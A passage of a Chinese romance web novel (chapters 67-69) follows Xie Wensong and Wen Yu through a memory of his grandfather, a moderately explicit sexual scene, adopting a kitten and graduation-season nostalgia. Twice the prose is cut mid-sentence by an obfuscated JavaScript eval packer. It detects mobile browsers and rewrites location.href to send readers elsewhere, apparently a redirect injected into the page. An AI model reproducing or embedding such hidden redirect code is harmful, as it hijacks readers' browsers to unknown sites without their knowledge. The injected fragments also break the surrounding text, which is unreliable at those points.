对方也不在意他在场,将肥大的裤腿往上卷,露出过分肿大的关节。 谢闻颂注意到,默默在心里吃惊,出于最基本的礼貌,面上不显分 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谢闻颂跟着祖父回家,在路上问明天他的手术会顺利吗。对方讶于他怎么会突然提起这位病人,谢闻颂说他刚才要给自己零食来着,想起来就问一问。 谢怀崇先是沉默一会,然后说任何手术都可能存在风险,他们做的就是和死神在时间里抢人。 也就是,尽最大的努力。 谢闻颂还是没说话,想起自己在临离开前通过病房门上的方格玻璃看了眼里面的男人,他正在医护人员的操作下进行手术准备,蓝色的围帘拉起,他并没看见什么。 头顶灯光灼亮,他只是想起那句。 想和疾病共同相处,互不打扰。 谢闻颂没有忘记这件事,第二天等到祖父回来,上前问他病人的情况。 谢怀崇沉默了一会儿,说没有抢救过来。 手术成功虽将他腿上的巨瘤取下,但由于骨肿瘤的体积和重量大,即使被成功切下,不过作为曾经身体中重要的一部分突然消失,病人全身的血液循环也迅速发生变化,心电监护的各种指标偏离正常值,大量输血全力抢救,奈何病情急剧恶化,最后也没能成功。 谢闻颂坐在沙发上,喉咙口仿佛也被什么堵住,面前的茶几上被祖父放下两个雪饼,包装袋隐隐约约折射坐在对面的他。 可现实就是。 即使你想和平共处,也未必会放过。 和想法存在太多不可预知的矛盾。 于是他想起了自己,想起那些一闪而过的念头,那些甚至还不能成为梦想的想法,也许太过不成熟。 不得不承认,事与愿违,是一种常态。 人的成长总是靠瞬间的恍然顿悟而积攒起,谢闻颂在看到那两袋雪饼的时候是,在谢怀崇过世的时候也是。 全家都是在他去世后才知道,老爷子早在生前就已经签署同意书捐献遗体用于医学研究。 遵照他的愿望,这件事并没有得以扩散让外界洞悉,对外只正常公布谢怀崇离世这一消息,谢家在墓园立下他的坟冢,其实下面什么都没有。 而谢闻颂也只能来这里看他。 每一年,每一次。 因为这里是离思念最近的地方。 后来在他收拾东西发现曾经那张载着自己最初想法的乐谱,乐谱在之前被意外撕碎,被他匆忙收在高中学习的文件袋里。 那天他却有耐心地在书桌前重新拼好,用宽胶带覆在上面,一层透明的薄膜隔绝纸上所有残存的气息,仿佛要将他的过去也封存起来。 那对新事物的热潮终究是被时间悄悄磨灭,温遇曾经问他,家里的琴房去哪里了?为什么没有继续写自己喜欢的旋律,哪怕只当做爱好。 他只说,不感兴趣了。 也的确不感兴趣了。 他也不知道为什么。 好像在发生很多事以后,他不管是主动还是被推着,都要赶在别人教他之前自己先成长起来。 在父母迟来的关心之前学会自己把病养好,在不可避免的困境到来之前要先做足思想准备。外人看来他冷静且周全地做好一件事,这只是结果,而他准备了多长时间,其实不曾为外人知。 而这些谢闻颂兀自成长所残留的问题,是一种难以言喻的生长痛,被装进勒紧口的垃圾袋,放在一个小角落。 空间在不断扩容,甚至连他自己都快忘记,却总是会被温遇带着勾起回忆。 她的存在认为那袋是成长奖励给他的糖果,她说你把袋子打开,里面不一定是多珍贵的礼物,但一定不会是垃圾。 高三那年,谢闻颂曾经在校长讲话中听到过一句话。 生命不打草稿,人生没有彩排。 有人听完无所事事,有人听完踌躇满志。 而他平静听完,没有多宏大的想法,也不想情绪激昂地说自己有怎么怎样的梦想。 他只是,想让那袋子,变得更好看一些。 等温遇某一天好奇指着它“咦”时,他能很坦然地拆开,告诉她里面如你所想,不是垃圾。 是我身上,很重要的一部分。 67.荔枝 67/ 杂志社旁边新开了一家猫咖,这事温遇还是听消息灵通的同事聊起才知道。 某次中午吃完饭,林檬拉着她去看,结果一不小心办了张卡,于是她便以“办都办卡了那必须得撸个尽兴”的原则,拉着温遇,几乎每个午饭后都要去坐一会儿。 温遇没办卡,纯属给林檬提供情绪价值,不过神奇的是,她特别吸猫,哪怕是店里平时最不爱搭理人的猫,有时也会来到她旁边蹭蹭,然后在她的Mac边埋头大睡。 在猫猫团里转悠了一圈的林檬顶着身上的猫毛回来,瞥见刚才不让自己撸的猫趴在温遇那儿睡觉,眼睛都睁大了。 “温宝,你是不是养过猫?” 温遇先是摇头,随即想到什么,慢一拍答:“我家倒是有只狗。” 林檬嘴快,下意识道:“你男朋友?” “……不是。”温遇猝不及防被呛了一下,朝她眨眼,“是金毛。” “……不好意思。”林檬面露尴尬,觉得自己说错话了,随即解释:“我记得之前大家聊这方面的事时,你说家里没小动物。” “我男朋友的。”温遇声音小了点,“这段时间我俩住一块。” 林檬的双眼睁得比刚才还大,过几秒,唇边不可遏制露出一抹意味深长的姨母笑。 温遇想都不用想就知道她在想什么,伸手不自在地碰了碰泛粉的脸颊:“我们属于盖着棉被纯聊天,真情侣,纯友谊。” “……” 纯友谊才怪哦。 林檬的笑容收敛几分,让自己看上去不那么邪恶,双手托腮:“讲真,要不是你们认识这么久,我还真担心你一个女生在里面会吃亏。” 温遇自认为自己不是恋爱脑,刚想问她为什么,林檬一本正经开始阐述自己的理由:“因为你平时看上去太乖了,好像就算是反对也是柔和的,很难想象你在感情里会不会也是很软的性格。” 温遇喝了口从旁边咖啡店带来的轻芝士冰拿铁,很认真地想想:“好像他比我更软。” “……”林檬感觉自己猛地被人塞了口狗粮,泄愤似的扶着旁边吸管猛嘬一口饮料:“你这样,我真不相信你们是盖着棉被纯聊天。” 温遇手指搭在笔电的键盘上,思考几秒才答:“好像也不太纯。” - 温遇连着几天没加班,结果她发现谢闻颂下班比她还早,大部分的时候都是将车停在楼下不太明显的位置等她。 有天出来稍微晚了点,她就给谢闻颂顺手带了杯美式加奶不加糖。 他每天早上吃早饭都会自己在咖啡机那捣鼓半天,咖啡豆烘烤的香味有时候弥漫整个屋都是。 温遇观察过几次,默默把他平时吃的口味记在心里。 她侧身把安全带插入卡扣,垂到眼前的头发被人挑开,谢闻颂说:“你这是不想让我晚上睡觉的节奏。” 温遇下意识瞄了眼放在座位之间的美式,先是愣了一秒,没听出他话语里的深意,下意识反问:“明天不是周末吗?” 言外之意睡不着应该也不太会对明天有大影响。 “嗯,明天是周末。”车窗外的光亮如潮汐一般渗进车里,谢闻颂重复她的话:“所以不睡也没事。” “不睡觉干嘛?”鱼鱼同学真诚发问,“你还有工作要处理?” 车在路上堵一会儿,温遇也不差这点时间到家,朋友圈刚刷新出来,没等到回答,她侧身往主驾驶座的位置看。 谢闻颂的视线淡淡扫过她,在她唇上逗留:“你确定想知道我不睡觉的时候都在干什么?” “……” 温遇敏锐地嗅到了一丝危险的气息,赶忙在他出声之前制止,差点直接用手去挡他的嘴:“不想知道。” 虽然她说了不想,但不代表某人不会继续输出:“而且每天早上,你不是都看到了么。” “……” 朋友圈一行行的文案被谢闻颂一句话搅得看不进去。 温遇给他看自己手机屏幕上显示的时间,说话都差点咬到舌头:“现在还没到深夜,你就开始过夜生活了?” 谢闻颂单手将车窗降下来了点,高架桥上含着冷气的风在车内游移,让说出口的声音都滤上一层朦胧质感。 “对我来说,现在就是夜生活了。” 是吗? 这可太有生活了。 鱼鱼同学默默腹诽。 温遇实在不知道这种话要怎么接,只能装作无事发生,努力将所有注意力都汇聚在手机上。 可是已经有点看不下去了。 车已经开到蓝湾附近,温遇看了眼窗外熟悉的布景,手指往上滑着朋友圈,朋友家的猫咪萌照赫然出现在眼前,温遇心神一动,侧头看他:“谢闻颂,我们养只猫怎么样?” 猫狗双全,爱人在侧。 听上去就是很美好的生活。 “我可以,就看核桃同不同意了。” 温遇将手机倒扣在裙面上,投给他一个“虚心请教”的眼神,在问他怎么知道核桃同不同意。 谢闻颂自然知道她想问什么,其实他一点都憋不住自己的坏心思,只能勉强忍着不直接显露在脸上。 “我可以和它聊聊,做做小狗的思想工作。” 虽然知道谢闻颂这话说得多多少少有一点夸张的成分,不过温遇还是觉得他口中的“思想工作”是件挺重要的事。 脑海里涌出猫猫狗狗在客厅大战的局面,温遇抿紧唇角,把期待全都放在他身上。 “那你可以帮忙吗?”温兔兔眨眼,直白问。 “当然可以。”谢闻颂已经将车停到位置,回望她过分单纯的眼神,单侧手朝她脸庞伸去,指关节暧昧缠上她的长发。 他挪着朝她靠近了些,语气诱哄。 仿佛仅仅只有自己是坏人还不够,还要带着身边人做坏事才罢休。 “那今晚,要不要哄哄我?” …… 温遇没想到哄人是这么个哄法。 谢闻颂不知道从哪里找出来一个毛绒绒的兔耳发箍递给她,软软的毛挠在手心,触感像捉弄时扬起的狗尾草。 温遇双手捏着发箍两头,投给他一个疑惑的眼神。 她往下看,没忍住用手捏了捏手感超好的毛绒兔耳,边缘没什么线头,缝合处也很贴合,这质量明显不是赠品。 倒像是特意买的。 谢闻颂从她手上拿起,提起两边给她戴上,挺翘的两只耳朵出现在女孩的发顶,浅粉色的耳朵芯像草莓牛奶硬糖里的夹心。 客厅照旧只打了个氛围灯,很淡的颜色,却仿佛薄薄一层烧到身上。 谢闻颂单手箍着温遇的腰,带她坐在自己腿上,微微仰头去寻她的唇,同时伸手把她倾落下来的长发拨到耳后,指尖顺着发箍往上摸,爱不释手地捏一双毛绒兔耳。 温遇顾不得他手上不太安分的动作,被他吻得直犯迷糊的神志早就跑到九霄云外,双手借力攀着他的肩,脚趾下意识蜷缩,根本勾不住拖鞋,啪一声落到地上。 谢闻颂听见了,也感觉到她呼吸开始费力,露出一道缝供她喘息。自己的喉间溢出笑音,湿润的唇下落,从下颌一路吻到锁骨,逮住块软肉,控制着力道用牙齿的钝去磨。 他明显感觉肩膀扶住的力道加紧,一边喊她宝宝,一边用手指绕住她的手腕向下。 温遇反应过来的时候,手指已经隔着布料触碰到那一团炙热。她大脑一白,呼吸霎时间收紧,她下意识就想把手挪开。 某人没让,甚至在引着她下压的时候,喉中溢出一声和他平时状态完全割裂的喘音。 仿佛燥热的喉咙滚入一口凉茶而生的喟叹。 “会吗?” 谢闻颂的唇没离开她锁骨下皮肤,有深意地摩挲她的手腕。 “……” 掌心抵在那儿,温遇想都不用想他口中说的会是指什么。 温遇第一个看的小视频还是当时程以桉发给自己的,她瞟了个开头就关掉,更别提在这方面有什么多了解。接吻这件事她都还没熟练,现在还需要给谢闻颂暗示,他才会给她放会儿假,结果现在这事刚结束,就被他又带向另一个极端。 “……不会。” “那我教你。”谢闻颂单手勾起她的腿弯,不费劲将她打横抱起,顺手拎起她掉在地上的拖鞋,抱着她就去浴室。 大理石台面上被他铺了层厚毛巾,温遇被他抱着坐上去,头顶的发箍有隐隐往下掉的趋势,她感觉到,连忙抬手扶住。 脸红还未退去,温遇迷迷糊糊的模样像没睡醒,谢闻颂瞧着心软,又亲了下她的脸,“辛苦宝宝了。” “……” 一切结束以后,温遇的两只拖鞋再次东倒西歪在一侧的地面上,她也没力气管头上的发箍掉没掉下来,很用力地在谢闻颂肩膀推了一下:“我讨厌你。” 谢闻颂帮她把兔耳推回去,将她还没擦干净的手拎过来,用毛巾裹住,很仔细地帮她擦干净手上的水,也没管上衣被她刚刚弄上湿淋淋的水印,承接下她所有的情绪。 “嗯,宝宝讨厌我还愿意哄我,宝宝对我好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024224|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温遇连白眼就都不想给他,心想哄你不是你主动要求的吗?她什么时候说要哄他了? 她感觉手上一跳一跳的触感还未散去,用凉水反复洗了好多遍还是感觉很烫。 做这事比上班还累,还要时不时忍受忽然飙高的心率,温遇不想说话,只倚在他身上哼唧,有时候还抬腿踢他,谢闻颂没半点避开的意思,只顾着帮她清理。 抱她回卧室,谢闻颂动作很轻地把她头上的发箍拿下来放在床头柜,壁灯调到最暗,被角掖好以后他才折返回去换衣服。 回来的时候温遇被细小的动静吵醒,看见灯光勾出的一圈轮廓,小声咕哝:“我再也不哄你了,谢闻颂。” “嗯。”谢闻颂钻进被窝,顺手把她圈过来,在她额头上吻:“那我哄你。” “……” 请问这两者有什么区别吗? 温遇被困意席卷,想不清二者的区别在哪,于是选择继续睡觉,不与混蛋计较。 - 又一周的周末,温遇选择去接小猫,谢闻颂原本想和她一起去接的,只不过临时有点事得出去一趟,就和她说平安到家给他发条消息。 她听见门被关上的声音,想起自己只告诉他是去一个朋友那里接。谢闻颂当时没详细问具体是哪个朋友,帮她一起整理小猫生活的房间。 那天温遇在朋友圈看到陆繁笙在给几只小猫找家,几只毛茸茸凑在一堆,是隔着屏幕都能触摸到的可爱。 对待新的家庭成员,温遇认真上网普及各种知识,在几天之内把小猫生活需要的东西一点点准备齐全,有些暂时没想到的,谢闻颂也会及时补充。 虽然核桃性情温顺,不过出于多方面的考虑,温遇还是秉持“想和平,先隔离”的原则,打算暂时让它们分开生活。 去接的前一天,温遇后半夜才睡着觉,谢闻颂感觉到,一直轻轻拍她的后背,直到她睡着。 温遇出门接小猫之前,给核桃换了一个新的编织项圈,核桃有预感似的往她怀里钻,温遇蹭蹭小狗的脸,帮它把毛捋顺。 两个人约在市中心一家宠物咖啡店,陆繁笙比她到,在二楼靠窗的位置等她。 上次程以桉的生日party结束以后,这是她们的第一次见面。前段时间陆繁笙有意报考南大的研究生,她以为温遇是在那毕业的。 温遇回她自己是在邻省读的大学,不过自己可以帮忙问问别的人。 她想想,选择问谢闻颂,通过他的人脉,联系到一位和陆繁笙意向专业一样的同学,可以提供上岸经验。 她当时和谢闻颂说的时候还有些犹豫,结果这人答应得很爽快,温遇还愣了一下,被某人捏住脸侧,问她刚刚在想什么。 “以为你会犹豫。”温遇想到什么,斟酌道。 “因为陆星桓?”谢闻颂帮她把没说完的话补全,偏头望过来的眼神有种她看不破的深意:“就是那个你喝醉之后喊的人?” 温遇啊了声,“有吗?” 这事只有他知道,谢闻颂喉结上下挪动,到嘴边的话转了个弯,违心地撒起谎:“骗你的。” 温遇看着他没什么情绪的表情,像平时他捏自己脸一样捏他的:“好大的酸味噢,谢闻颂。” “才没有。”某人傲娇撇下了句,把平时少有的公主姿态立在身前。 温遇也知道自己此刻开到了谢闻颂的隐藏款,不自觉在心里感慨句到底谁才是公主。 这个问题真是世纪难题。 谢闻颂从桌上的编织筐摸出块苹果软糖,糖纸拨开的声音里仿佛藏了很多东西,他小声且别扭地又说了句,才没有。 温遇被他这副可爱模样戳中,忍不住在谢闻颂吃糖之前捧住对方的脸,在他唇上很轻啄了下。 “谢闻颂,下次换我先喜欢你吧。” 视线在短距离之间交汇,太多情绪附着在眼底,有些克制收敛,有些溢出眼眶,有些凝化成酸涩在与对方纠缠攀扯。 实际上时间早已超出短短的几秒。 谢闻颂眼角有点泛红,像指腹在其上刮擦很多次形成,温遇又没忍住低头亲他,鼻尖碰在一起:“下次换我先喜欢你,好不好。” 谢闻颂在她手心里摇头,撑在身侧的两只手缓缓发力,下颌微抬,仿若水面涟漪在回应蝴蝶亲吻,很克制地碰了下她唇角。 不含丝毫情欲,只有快到满溢的虔诚。 他说:“下次还是我先喜欢你。” 暗恋这样辛苦的事,还是我来做吧。 你只要一直当我的公主,就好。 68.荔枝 68/ 温遇打了辆车到萌宠咖啡店,周末店里人多,还是陆繁笙下来接的她。 许久没见,两个人从日常生活聊到只有女孩子才会触碰的话题,因为一些特别的话题,两人之间的关系似乎又拉进一些,温遇看陆繁笙从太空猫包里抱出来的小橘,慵懒地窝在她怀里。 小橘看上去精神很好,窝在陆繁笙怀里还朝温遇伸爪,一点也不怕生似的。 软萌小猫每个举动都在卖萌,温遇怕自己主动伸手碰它会吓到小猫,只好先用眼神投以怀抱。 还是陆繁笙抱给她,温遇才去接的。 软软温热的一团被自己小心翼翼抱在怀里,温遇心都快被萌化了,指腹不自觉贴上小猫的头,低头一下一下轻轻摸着它。 陆繁笙双手托腮看她:“起好名字了吗?” 温遇没来得及斟酌即将说出口的话,下意识答:“还没,我打算回去和男朋友商量下。” “……” 刚说完,她意识到什么,唇角抿直,眼神保持下垂的角度,尽量不让对方看出异常。 “你男朋友——”陆繁笙敏锐抓到重点,声音小了些,刻意加以顿挫,明显已经有了猜测:“是谢闻颂?” 通过谢闻颂的人脉帮找的同学,这事陆繁笙是知道的。 温遇之前没有透露过自己和谢闻颂谈恋爱这事,圈子内知道的只有程以桉和林思睿,两个人都是深交,在他们的关系没彻底出现在大家面前,自然是不会多说的。 温遇刚才的口误纯属意外,没想到被陆繁笙迅速捕捉。 她想了想还是很轻地点了下头,表示默认。 陆繁笙面露讶异。 她虽然问出口,却也不是很确定。 温遇和谢闻颂一起长大这件事,在圈子里其实不是什么秘密,在共友的聚会上,两个人一起出现又一起离开的次数不少。 青梅竹马的关系昭然若揭,没往那方面想过也不太现实,只不过大家都认为要是早有发展,也许早就在一起,又何必等到现在。 殊不知大家眼里所谓的“等”,那段如同水流一样滔滔流淌的时间,其实并不容易度过。 感情这种事,冷暖自知,旁人最多只能当个看客。哪怕是作为主人公之一的温遇,其实也不太清楚那些并没被她关注的日子里,谢闻颂到底还做了多少她不知道的事。 而他似乎也的确不想让她知道什么似的,很少透露曾经对她做了什么来让她产生什么情绪。 在意一个人的第一步就是了解,谢闻颂又何尝不知道温遇对内对外的情感从来都不一样。 她界限划得很清,有自己圈下的小小领地,对于熟悉的人,她不吝惜付出,所以因为朋友而摇晃情绪,也不可避免。 因为这份过分的了解,也让谢闻颂知道,她的想法通常不显露在外面,所以如果他说了很多以前的事,难保她不会产生一些内疚情绪。 谢闻颂不想让她频频往回看,即使那些是他们的曾经,他也曾无数次翻阅过。 他默默翻阅就可以了。 他不是容易丧气颓靡的人,放在其他事上坚韧的意志力在感情这件事上也一样。他能将喜欢这件事坚持很久,哪怕用了挺长的时间去实现自己理想中的圆满,对他来说,仍是一件很值得骄傲的事。 这种默契渗透到温遇那儿,她多多少少也能明白谢闻颂的用意。在这方面,他们似乎和小时候一样,有些话不必点透。 我知道你的用意,我理解你的用意。 于是渐渐的,温遇也注意力放在现在,以前的事,他们只当随口谈起,为现状增色。 谢闻颂只想做最了解温遇的人。 所以有一天如果她难过,他还会凭借这一点了解而庆幸。第一时间赶到她身边,也许她不会表露任何,他只有陪伴,这样也很好。 他喜欢一个人的过程,像极《喜欢两个人》里所说的那句:“走过了甜酸各一半的旅程,我单薄的心才能变得丰盛。” 酸的那部分他已经走过了。 甜的这部分他正在经历。 都说爱是一种难以遏制的本能,可掏出这一种本能太需要勇气和坚定。 他不会觉得喜欢是件辛苦的事。 他觉得这是梦想在实现了。 原来真的有人,把爱上你的过程,当作是一个梦想。 - 温遇在路上给小猫起好了名字,叫“摸摸”。 回程的路途中,她没忍住找谢闻颂要一个肯定:小猫叫‘摸摸’,怎么样?【可怜】【可怜】【可怜】 望向太空猫包里和她隔空伸爪的摸摸,温遇隔着层透明逗它,一边看手机里的消息回没回复。 温遇还拍了张图给他发过去,选了张能充分体现小橘生动可爱的角度。 Bigboss:嗯。 Bigboss:还可以。 Bigboss:不过怎么不叫椰楼? “……” 温遇沉默两秒,这段时间她甚至想隔空和对面握手,然后找到知己似的来一句:好巧,没想到你也是抽象派。 Bigboss:这颜色挺能和核桃融为一体的。 Bigboss:趴在它身上感觉应该能不分彼此。 温遇回以一个低头沉默的表情包。 原本以为自己已经是天赋异禀的抽象选手,不过现在好像和谢闻颂比起来,还是要差那么一截。 果然,努力在天赋面前,不值一提。 温遇到家的时候,瞥见门口轻松熊地毯上没有那双熟悉的拖鞋,往屋里喊了句:“谢闻颂,你回来了?” 一秒、两秒,客厅里传来应声:“嗯。” 温遇没多想,提着猫包进屋,放在早就准备好的猫猫窝旁,对抱胸坐在沙发上的人招招手:“谢闻颂,来接小猫啦。” 沙发上懒懒倚着的人没动静,温遇只好抱着小猫扭过身,一脸正义凛然地谴责:“禁止对小猫使用冷暴力,知道不知道!” 温遇故意装作古板的模样落在他眼中只有可爱的份。 谢闻颂弯弯唇角:“知道了。” 温遇专注逗小猫,听见身后传来稀稀拉拉的脚步声,紧跟着,某人蹲在她旁边,薄荷混着花香的沐浴液味道自然而然渡过来,温遇偏头看他,谢闻颂额发潮湿耷拉在眼前,长到有几根似乎都刺进了眼睛里。 洗过澡的眼睛都蒙上一层浅浅的湿润,这才刚中午,温遇好奇他这么这个时间洗澡。 “你不是去环想了吗?” “嗯。”他声音有点闷,看上去情绪不太好,“半路回来了,会改明天再开。” 摸摸正在舔她的手心,温遇感觉有点痒,只好微微拢起手,一边吐槽他:“现在当老板的都这么随意吗?” 谢闻颂双手抱膝,似乎是一个寻求安全感的姿势,他侧头看她,半边脸搭在胳膊上,像在看同桌的姿势。 他被这话逗得笑起来:“温鱼鱼,你知道你刚才说这话的时候,好像咬着牙说的。” “我才没有。” 谢闻颂微哂,逗她:“那我再努努力,你就不用去工作了,让你当我的老板。” 温遇噗嗤一声笑出来:“你这么说,还真让我有点心动。” “那考虑一下?” “不了。”温遇视线重新落回摸摸身上:“我感觉自己忙起来的时候才算充实,现在这样就挺好的。” “而且——”温遇将摸摸抱起,小猫的后两条腿在空气里蹬,她用脸蹭蹭软萌的小家伙:“我答应不答应,其实你不也知道吗?” “谢闻颂,我不相信你不了解我。”温遇说得很自信,带着只有两个人才能看清的熟稔:“你也是逗我的不是吗?” 她眼中似有条条流星划过,星尾掠过,唯余璀璨。 “而且,如果我说我想当你老板,你也不会拒绝我的吧。” 彼此静默的时间里,只有摸摸在轻轻地叫。 谢闻颂就那么定定地看着她。 窗台两侧浅色的落地纱帘没有系好,窗户刚才因为谢闻颂想透气开了一道缝,被阳光晒过混着草木香的风不请自来,将窗纱吹得飘起。 柔和的边缘擦过浅浅光影,在温遇身后飘起。 是很梦幻的场景。 万物好像都是她的背景板。 在她身边的他也是。 被光和风自然过滤的窗纱柔软温和得像一场不会醒来的旧梦。 她身上像披了层含光的纱。 谢闻颂眸光微动,抬手轻轻遮住温遇的眼睛。 她没有避开,脸仍旧朝着他这边:“怎么了?” “没什么。” 摸摸安静窝在女孩怀里,毛茸茸的尾巴搭在她手腕上,小猫眼睛眨呀眨,看向对面贴过来的人,对他要做什么事一无所知。 半湿的额发抵在自己的手背上,谢闻颂低头去贴她的唇。 风声轻轻,帘声静静,摸摸也不叫了,伸出的爪子挂在谢闻颂衣服纽扣上,发出轻微的响动。 风的气流带起温遇耳鬓的发丝,一下又一下地轻扫耳廓。 是红的。 半晌过去。 “干嘛突然吻我?” “就是突然想了。”谢闻颂伸出根手指逗弄小猫,轻轻碰它的脸,啧了声:“感觉以后我在这个家里的地位又要往下挪了。” 他配合情绪地叹气,顶着副乖模样把话说得很委屈,温遇瞅他这样倒是罕见:“你是这么觉得的啊?” “嗯。”谢闻颂将那副委屈无辜样稍微敛了敛,眼里又捎上点别的什么:“所以你能哄哄我吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15037425|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……” 温遇现在听到“哄”这个字都有种心理阴影。 “不能。”她表示拒绝:“你竟然都说自己在这个家的地位往下挪,那也应该是你哄我才对吧。” 温遇没想到自以为聪明的一句,让某人刚刚暗下去的眼神又亮起来,感觉眼前仿佛闪烁两个大灯泡,里面透着浓浓兴趣:“我哄你也行。” “…………” 温遇感觉自己刚避开一个陷阱,转头又掉进一个大坑。 真是吃一堑吃一堑再吃一堑。 谢闻颂撑着手又朝她凑近几分:“真的,我哄你也行。” 摸摸什么也不懂,被温遇抱在怀里,黑葡萄似的两只眼睛在他们之间反复逡巡。 温遇率先别过脸:“我不要你哄。” 她举起小猫,在摸摸脸上亲了一口:“我要摸摸哄我。” 摸摸配合地喵了一声。 “……” 这时核桃午睡也醒了,耷拉着耳朵从屋里走过来,出于狗生自带的敏锐直觉,它眼睛瞬间盯住温遇怀里的摸摸。 一猫一狗,四目相对。 温遇有些紧张,担心猫狗第一次见面要以大战作为前端开启。 结果出乎意料的,温和的阳光仿佛将万物都钝化,核桃也只是眨眨眼,吐出的粉舌仿佛都透露着对这个新的家庭成员示好的气息。 客厅里满是阳光的味道。 谢闻颂见自己的救兵来了,背过身朝核桃招手,没想到核桃根本没搭理他,小跑着坐到温遇旁边。 于是客厅分割成两方战队。 温遇、核桃、摸摸。 谢闻颂。 某人简直被气笑了,睡衣布料隔着的胸膛轻微震动:“核桃,你忘记谁经常给你加餐?” “其实——”温遇抬手扯了下他袖口,眼神有种纯粹的真挚:“我是你老板,四舍五入,你也是我们这队的。” 她伸出右手,摆出一个握手的姿势:“荔枝同志,加入吗?” 公主诚挚邀请,谢闻颂的影子其实已经口嫌体直地热情握上了,只不过本体还碍于自己那点傲娇,装得有些犹豫。 温遇自然知道他在装,心其实已经被他的骄傲自动软化。 比大太阳晒得还快。 这人怎么会这么可爱。 尤其是这种和本体反差巨大的可爱。 反差萌这个词就是用来形容谢闻颂的吧。 温遇想想,干脆主动靠近他,蜻蜓点水似的亲他的脸。女孩笑眼弯弯,语气像柔软的棉花糖:“你还和小猫小狗吃醋呀,谢闻颂。” “嗯。”他大方承认,脸上却没一点落寞的神态,眼神里是沐浴在光里的她。 谢闻颂坐在毛毯上,曲起一条腿,手腕搭在上面,微微昂起头,喉结顶出一个棱角:“我今天的pH值小于7。” 温遇没想到吃醋还能这么表达,不禁莞尔。 她突然想到什么:“今天为什么突然回来了?” 谢闻颂面无表情:“鸟屎砸衣服上了。” “真的?” “衣服都被我扔了。” 他看她:“你现在去楼下垃圾桶看看,没准还能迎面和它打个招呼。” “……” 温遇觉得,倒也不必这么舍不得。 如果是这样的话,使用一下老板特权,好像也不过分。 温遇越想越觉得好笑,不过碍于某人在旁边,憋得肩膀直抖。 “温鱼鱼,想笑就笑,我真怕你憋坏。”谢闻颂双手突然搭在她肩膀上,给温遇吓一跳。 “……” 她突然又不想笑了。 电视机被打开,里面在放以前某档爆火的综艺节目,里面嘉宾被节目组整蛊的方式层出不穷,配着后期搞怪的音效,隔着屏幕感觉都能笑得肚子疼。 “那你是怎么给家里排序的?”温遇回忆起刚才的话题,突然开始好奇他的答案,“说来听听。” “你,小猫小狗。”谢闻颂回答的很顺口,没什么犹豫,“最后是我。” 温遇听完缓了两秒,看着他,眼里有什么在轻轻摇晃。 摸摸已经熟练地爬上核桃的后背,温遇注意到这一幕,在思考猫狗相处比想象中的还要顺利。 太阳从天空正中央向西倾落。 “诶。”温遇剥了颗青苹果软糖放进嘴里,偏头喊正在看电视的某人,“谢闻颂。” “嗯。” 他回头。 时间仍在流淌。 地上的原本挨在一起的影子在某刻逐渐融为一体,他们之间再无任何光能挤进去,形成缝隙。 满世界都是苹果味。 温遇想的是。 他刚才说的什么啊……听不懂。 她只想亲嘴。 69.荔枝 69/ 一年一度的六月,一年一度的毕业季。 太阳像是会灼伤人似的,室外气温再次突破往年的上限飙高,温遇站在公交车站牌旁边,从斜挎包里摸出张手帕纸,拭掉鼻尖的汗珠,将纸拢在掌心。 她刚回完消息,有预感似的抬头,马路对侧一群学生正走在林荫道上,校服外套搭在臂弯,白色衬衫领口在风里微微掀动。 很熟悉的场景。 温遇在恍惚间点开日历,发觉这个时间段可能是高三学生的成人礼。 对面穿着白色礼裙的女生格外显眼,她正和旁边人聊天,脸上是娇俏的笑,纱质裙角随风蹁跹,像蝴蝶一样漾在风里。温遇一直注视着她,直到少女消失在街角。 也很熟悉的场景。 同样很熟悉的夏天。 五年前的夏天,林荫下,有人帮她把平底鞋放在地上,单手拢起她的裙角,帮她把碎钻高跟换下来。 钻石在阳光下闪烁刺目,平日里散发的细闪在此刻经过多棱面折射,仿若要把最漂亮的一面展示出来。 可这些,却远不及蹲在她裙旁的人。 身边同学都为了成人礼精心准备衣服,她也不例外,可只有旁边这个人不以为意,随意套了件衣服裤子,早早在她家门口等她。 等她这件事,比成人礼他穿什么还重要。 可即便穿的是寻常的休闲衣,他仍旧很好看。 温遇觉得可能用好看这个词形容未免有些俗气,可她想来想去,还是觉得自己词汇库匮乏,只能用这个词去形容那时候的谢闻颂。 他尚且清瘦的身躯看起来还不足以担下一切风雨,可他能揽下的全部阴影,都已经给了她。 他的臂膀可能还不够宽阔,这是未完全成熟的象征,他接受一切,不刻意加速成长,他只想陪在公主身边。 成人礼当天,少年使坏将帽子盖到她脸上,任由巴掌拍在自己身上,仍执着为自己刚做的坏事找借口:“怕你中暑。” 【脑海闪过每一帧直到你转身】 【忽略掉伤痕】 【那我鼓足勇气 告别这年轮】 【偶尔再想起心动清晰模糊的是你】 有点遗憾的十八岁好像在不知不觉间已经让她觉得完整。 明明当时,她还沉浸在礼裙被弄脏的难过里,在想这是好糟糕的十八岁。 是谢闻颂,是他,问她为什么哭。 也是他告诉她,我不会让你的眼泪白流。 樱花粉的浅色裙子,至今仍被她好好收藏,放在衣柜里珍贵保存,某人在她心里的地位越来越重,过去和他有关的回忆越来越重要—— 这些不知不觉淡化她回忆里的不开心。 记忆重新来到眼前仍旧崭新,仿佛这几年的时光并没有改变什么,他们都还是十八岁的少年少女。 面对面站着,哪怕只是短短视线相交,仍旧能把心里隐藏的悸动重新揪出来。 隐藏的悸动。 